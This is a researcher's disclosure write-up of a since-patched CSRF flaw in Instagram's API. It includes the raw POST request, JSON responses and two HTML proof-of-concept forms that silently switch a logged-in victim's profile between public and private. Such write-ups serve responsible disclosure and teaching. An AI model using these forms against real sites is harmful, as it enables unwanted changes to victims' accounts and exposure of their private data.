In this article, I would like to explain a vulnerability (now properly fixed) discovered months ago on the Instagram’s web and mobile applications.

WHAT IS INSTAGRAM?

Extracted from Wikipedia:

“On April 12, 2012, Facebook acquired Instagram for approximately $1 billion in cash and stock.”

“Instagram is an online photo-sharing, video-sharing and social networking service that enables its users to take pictures and videos, apply digital filters to them, and share them on a variety of social networking services, such as Facebook, Twitter, Tumblr and Flickr. A distinctive feature is that it confines photos to a square shape, similar to Kodak Instamatic and Polaroid images, in contrast to the 16:9 aspect ratio now typically used by mobile device cameras. Users are also able to record and share short videos lasting for up to 15 seconds.”

SUMMARY

Certain actions of the instagram’s API were vulnerable to a cross-site request forgery (CSRF) attack. An attacker could execute unwanted actions on a web application in where the user (victim) is currently authenticated. A successful CSRF exploitation could compromise end user data (photos and personal information) by making public his Instagram profile.

INTRODUCTION

Months ago I was looking for security vulnerabilities on Instagram’s platform. Since I guessed the website would already be audited and secure, I focused my efforts on the Instagram mobile applications (iOS and Android).

First of all, while I was crawling all the resources to detect new attack vectors of the application, I also tested the typical security vulnerabilities like cross-site scripting or code injection, but this time, I didn’t find any vector that allowed me to inject code.

My second step in this research was to compare both mobile applications (Android and iOS) with the website in order to find different requests and behaviours that could take advantage by exchanging one with another.

After the reconnaissance of the whole site I realized that unlike the mobile application, on the website the user cannot change the privacy of his profile.

The following pictures show which are the differences I’m referring to.

HOW DID IT WORK?

Focusing my attention on this part of the Android application, I decided to study how was the request when the user sets to public his profile. This request was:

POST /api/v1/accounts/set_public/ HTTP/1.1
Host: instagram.com
User-Agent: Instagram 5.0.6 Android (19/4.4.2; 213dpi; 800x1205; asus/google; Nexus 7; grouper; grouper; en_US)

And its JSON response was:

{"status":"ok","user":{"username":"phr0nak","profile_pic_url":"http:\/\/images.ak.instagram.com\/profiles\/profile_12414681_75sq_1320360563.jpg","biography":"","full_name":"Christian","pk":12414681,"is_private":false,"external_url":"http:\/\/insertco.in"}}

As you may have noticed in the last user request, the mobile application was not using any mechanism like secret security tokens to prevent attacks like CSRF.

It’s important to remark that exploit a cross-site request forgery against mobile applications is very difficult due there are not many vectors to use. For this reason I decided to test this potential vulnerability against the web application because I realized during my tests that Instagram’s API didn’t control the user-agent of the user’s request in the implementation of the set_public and set_private actions.

The next thing that I did was to write a simple CSRF proof of concept as follows.

<html>
  <body>
    <form action="http://instagram.com/api/v1/accounts/set_public/" method="POST">
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>

With the proof of concept prepared I tested it against another test user with a private user profile. My surprise was when I saw that the user request worked normally so the CSRF attack was completely successful and the profile of the user was set to public.

The response of the previous proof of concept was:

{"status":"ok","user":{"username":"phr0nak","profile_pic_url":"http:\/\/images.ak.instagram.com\/profiles\/profile_12414681_75sq_1320360563.jpg","biography":"","full_name":"Christian","pk":12414681,"is_private":false,"external_url":"http:\/\/insertco.in"}}

At this point, I could set to public any Instagram profile of each user who fell victim by clicking to my CSRF payload. But I wanted more so I used the same approach to set to private the profiles.

Using the previous proof of concept and changing only the URL of the action from set_public to set_private I was able to set to private any user profile as well.

<html>
  <body>
    <form action="http://instagram.com/api/v1/accounts/set_private/" method="POST">
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>

The response was:

{"status":"ok","user":{"username":"phr0nak","profile_pic_url":"http:\/\/images.ak.instagram.com\/profiles\/profile_12414681_75sq_1320360563.jpg","biography":"","full_name":"Christian","pk":12414681,"is_private":true,"external_url":"http:\/\/insertco.in"}}

Given that Instagram didn’t use any security mechanism to prevent CSRF attacks, it was possible with these simple PoCs to change the privacy settings of any user who fell victim of this attack.

It’s is important to mention (again) that the vulnerability was completely effective in a real scenario (web application) due Instagram didn’t implement neither csrf security tokens nor the checks that detect if the user-agent came from the mobile app.

HOW DID INSTAGRAM/FACEBOOK FIXED THIS ISSUE?

Unfortunately, implementing CSRF on an existing mobile application using a web API is non-trivial, since the application has older clients which aren’t sending the correct token and that it’s important to don’t lock out immediately.

From now, all new sessions are differentiated between mobile and web at login time so the web-based sessions have full CSRF protection enabled using secret security tokens and the mobile-based sessions have a CSRF protection using user-agent control and a reCAPTCHA that force to the user (victim) to interacting with the mobile user interface.

So at this moment if any web user tries to call to the API for an action only allowed for the mobile applications the response of this request will be:

{"status":"fail","message":"login_required”}

DISCLOSURE TIMELINE

  • August 22th, 2013: Initial report with a proof of concept sent to Facebook.
  • August 28th, 2013: Facebook informed that the vulnerability has been escaled to Instagram’s development team.
  • September 6th, 2013: Response from Facebook asking for confirmation that issue has been resolved.
  • September 6th, 2013; Reply to Facebook confirming fix.
  • September 16th, 2013, New report to Facebook with a proof of concept to bypass de initial fix.
  • September 30th, 2013: Response from Facebook informing about the bug bounty reward’s details.
  • December 16th, 2013: Facebook sent the bug bounty reward.
  • January 23th, 2014: Report to Facebook about some weird behaviours and a possible new bypass in their second fix.
  • February 4th, 2014: Response from Facebook confirming the application finally has been properly patched.
  • February 4th, 2014: Report closed.

REFERENCES

MORE INFORMATION

The vulnerability mentioned here has been confirmed patched by the Facebook Security Team. Although it has been almost six months exchanging mails to properly fix the application, I want to thank them for their great response, for their generous reward and for including me in their Hall of Fame.

Check out their Security Page for more info about how to report a security vulnerability to them.



Tags


blog comments powered by Disqus